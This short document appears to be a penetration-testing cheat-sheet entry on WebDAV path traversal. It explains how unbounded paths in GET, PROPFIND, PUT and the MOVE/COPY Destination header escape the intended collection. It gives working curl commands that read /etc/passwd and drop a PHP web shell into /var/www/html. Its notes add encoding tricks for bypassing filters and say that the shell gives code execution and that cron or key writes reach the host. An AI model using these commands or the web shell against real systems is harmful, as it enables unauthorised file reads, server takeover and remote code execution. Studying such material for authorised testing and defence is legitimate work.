WebDAV verbs operate on paths, and where the server does not canonicalise and bound them, traversal escapes the intended collection. This cuts both ways. Traversal in a read (GET, PROPFIND) reaches files outside the WebDAV root for arbitrary read. More powerfully, traversal in a write, the PUT target path, or the Destination header of MOVE/COPY, lets the attacker choose where a file lands, placing it into a web-executable directory or a sensitive host path even when WebDAV is meant to confine writes to one collection.
# read traversal via GET/PROPFIND
curl -s --path-as-is http://<target>/dav/../../../../etc/passwd
curl -s -X PROPFIND --path-as-is 'http://<target>/dav/..%2f..%2f..%2fetc/' -H 'Depth:1' --data ''
# write traversal via PUT target or MOVE/COPY Destination header
curl -s -X PUT --path-as-is 'http://<target>/dav/../../var/www/html/s.php' --data '<?php system($_GET[c]);?>'
curl -s -X MOVE http://<target>/dav/s.txt -H 'Destination: http://<target>/../../var/www/html/s.php'
Exploitation notes#
- The
Destinationheader onMOVE/COPYis a distinctive WebDAV write-traversal vector: upload an innocuous file, then MOVE it to a traversed, web-executable path, which also bypasses extension filters that only check the PUT path. - Use
--path-as-isand encoded traversal (..%2f) so the sequences survive to the server; filters are often bypassed by encoding. - Write traversal is the high-impact case: dropping a script into the webroot is code execution, and writing a cron or key reaches the host; read traversal recovers configs and secrets.
- Impact is bounded by the server process's privileges and any OS-level confinement; combine with PUT upload to RCE for the execution step.